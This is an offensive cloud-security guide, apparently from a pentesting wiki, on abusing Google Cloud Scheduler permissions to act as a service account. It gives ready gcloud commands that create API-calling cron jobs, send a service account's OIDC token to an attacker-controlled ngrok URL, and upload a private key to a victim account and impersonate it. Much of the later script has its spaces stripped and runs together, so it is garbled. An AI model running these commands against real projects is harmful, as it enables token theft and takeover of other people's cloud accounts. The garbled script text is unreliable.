An attacker with these permissions could exploit Cloud Scheduler to authenticate cron jobs as a specific Service Account. By crafting an HTTP POST request, the attacker schedules actions, like creating a Storage bucket, to execute under the Service Account's identity. This method leverages the Scheduler's ability to target *.googleapis.com endpoints and authenticate requests, allowing the attacker to manipulate Google API endpoints directly using a simple gcloud command.
Contact any google API viagoogleapis.com with OAuth token header
Create a new Storage bucket:
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
To escalate privileges, an attacker merely crafts an HTTP request targeting the desired API, impersonating the specified Service Account
Exfiltrate OIDC service account token
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
If you need to check the HTTP response you might just take a look at the logs of the execution.
Like in the previous scenario it's possible to update an already created scheduler to steal the token or perform actions. For example:
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
Another example to upload a private key to a SA and impersonate it:
# Generate local private keyopensslreq-x509-nodes-newkeyrsa:2048-days365 \-keyout/tmp/private_key.pem \-out/tmp/public_key.pem \-subj"/CN=unused"# Remove last new line character of the public keyfile_size=$(wc-c</tmp/public_key.pem)new_size=$((file_size-1))truncate-s $new_size /tmp/public_key.pem# Update scheduler to upload the key to a SA## For macOS: REMOVE THE `-w 0` FROM THE BASE64 COMMANDgcloudschedulerjobsupdatehttpscheduler_lab_1 \--schedule='* * * * *' \ --uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \
--message-body="{\"publicKeyData\": \"$(cat/tmp/public_key.pem|base64-w0)\"}" \--update-headers"Content-Type=application/json" \--locationus-central1 \--oauth-service-account-emailprivileged@$PROJECT_ID.iam.gserviceaccount.com# Wait 1 minsleep60# Check the logs to check it workedgcloud logging read 'resource.type="cloud_scheduler_job" AND resource.labels.job_id="scheduler_lab_1" AND resource.labels.location="us-central1"
jsonPayload.@type="type.googleapis.com/google.cloud.scheduler.logging.AttemptFinished"' --limit 10 --project <project-id> --format=json
## If any '"status": 200' it means it worked!## Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: "status": 400
# Build the json to contact the SA## Get privatekey in json formatfile_content=$(<"/tmp/private_key.pem")private_key_json=$(jq-Rn--argstr"$file_content"'$str')## Get ID of the generated keygcloudiamservice-accountskeyslist--iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com# Create the json in a file## NOTE that you need to export your project-id in the env var PROJECT_ID## and that this script is expecting the key ID to be the first one (check the `head`)export PROJECT_ID=...cat>/tmp/lab.json<<EOF{ "type": "service_account", "project_id": "$PROJECT_ID", "private_key_id": "$(gcloud iam service-accounts keys list --iam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d " " -f 1 | grep -v KEY_ID | head -n 1)",
"private_key": $private_key_json, "client_email": "scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com", "client_id": "$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d "'" -f 2)",
"auth_uri": "https://accounts.google.com/o/oauth2/auth", "token_uri": "https://oauth2.googleapis.com/token", "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs", "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.com",
"universe_domain": "googleapis.com"}EOF# Activate the generated keygcloudauthactivate-service-account--key-file=/tmp/lab.json
